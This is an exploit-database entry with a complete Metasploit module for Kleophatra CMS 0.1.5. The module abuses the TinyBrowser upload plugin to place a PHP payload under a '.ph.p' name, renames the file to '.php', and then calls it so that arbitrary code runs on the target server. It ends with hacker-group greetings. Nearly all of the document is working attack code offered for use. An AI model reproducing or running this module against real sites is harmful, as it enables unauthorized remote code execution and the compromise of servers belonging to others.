Kleophatra v0.1.5 'TinyBrowser' File Upload Code Execution (meta)



EKU-ID: 440 CVE: OSVDB-ID:
Author: KedAns-Dz Published: 2011-06-07 Verified: Verified
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###
# Title : Kleophatra v0.1.5 'TinyBrowser' File Upload Code Execution (meta)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com
# Twitter page : twitter.com/kedans
# platform : php
# Impact : File Upload Code Execution (via MetaSploit3)
# Tested on : [Windows XP sp3 FR]
##
# Download :[http://releases.kleophatra.org/stables/0.1.5/kleophatra-0.1.5.zip]
##
# $Id: kleo_tinybrowser.rb | 2011-06-02 22:55  | KedAns-Dz $
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
   'Name'           => 'Kleophatra <=0.1.5 TinyBrowser File Upload Code Execution',
   'Description'    => %q{
   This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
  By renaming the uploaded file this vulnerability can be used to upload/execute
  code on the affected system.
   },
   'Author'         => [ 'KedAns-Dz <ked-h[at]1337day.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '1.0',
   'References'     =>
   [
   ['URL', 'Not Olden !'],
    ],
   'Privileged'     => false,
   'Payload'        =>
   {
    'DisableNops' => true,
    'Compat'      =>
    {
    'ConnectionType' => 'find',
    },
    'Space'       => 1024,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => '08/05/2011',
   'DefaultTarget'  => 0))

   register_options(
       [
         OptString.new('URI', [true, "Kleophatra directory path", "/"]),
    ], self.class)
end

def check
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'lib/third_party/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder='
res = send_request_raw(
{
'uri' => uri
}, 25)

if (res and res.body =~ /flexupload.swf/)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end


def retrieve_obfuscation()

end


def exploit

cmd_php = '<?php ' + payload.encoded + '?>'

# Generate some random strings
cmdscript = rand_text_alpha_lower(20)
boundary    = rand_text_alphanumeric(6)

# Static files
directory = '/media/uploads/photos'
uri_base    = ''
uri_base << datastore['URI']
uri_base << '/' if uri_base[-1,1] != '/'
uri_base << 'lib/third_party/tiny_mce/plugins/tinybrowser'

# Get obfuscation code (needed to upload files)
obfuscation_code = nil

res = send_request_raw({
'uri'     => uri_base + '/upload.php?type=file&folder='
}, 25)

if (res)

if(res.body =~ /"obfus", "((\w)+)"\)/)
obfuscation_code = $1
print_status("Successfully retrieved obfuscation code: #{obfuscation_code}")
else
print_error("Error retrieving obfuscation code!")
return
end
end



# Upload shellcode (file ending .ph.p)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
data << "#{cmdscript}.ph.p\r\n--#{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << cmd_php
data << "\r\n--#{boundary}--"

res = send_request_raw({
'uri'   => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
'method'  => 'POST',
'data'    => data,
'headers' =>
{
'Content-Length' => data.length,
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
}
}, 25)

if (res and res.body =~ /File Upload Success/)
print_status("Successfully uploaded #{cmdscript}.ph.p")
else
print_error("Error uploading #{cmdscript}.ph.p")
end


# Complete the upload process (rename file)
print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
res = send_request_raw({
'uri'     => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'
})


# Rename the file from .ph.p to .php
res = send_request_cgi(
{
'method'    => 'POST',
'uri'       => uri_base + '/edit.php?type=file&folder=',
'vars_post' =>
{
'actionfile[0]' => "#{cmdscript}.ph.p",
'renameext[0]'   => 'p',
'renamefile[0]' => "#{cmdscript}.ph",
'sortby' => 'name',
'sorttype' => 'asc',
'showpage' => '0',
'action' => 'rename',
'commit' => '',
}
}, 10)

if (res and res.body =~ /successfully renamed./)
print_status ("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
else
print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
end


# Finally call the payload
print_status("Calling payload: #{cmdscript}.php")
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << directory + cmdscript + ".php"
res = send_request_raw({
'uri' => uri
}, 25)

end

end

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================================== 
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * Kalashnikov3 * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================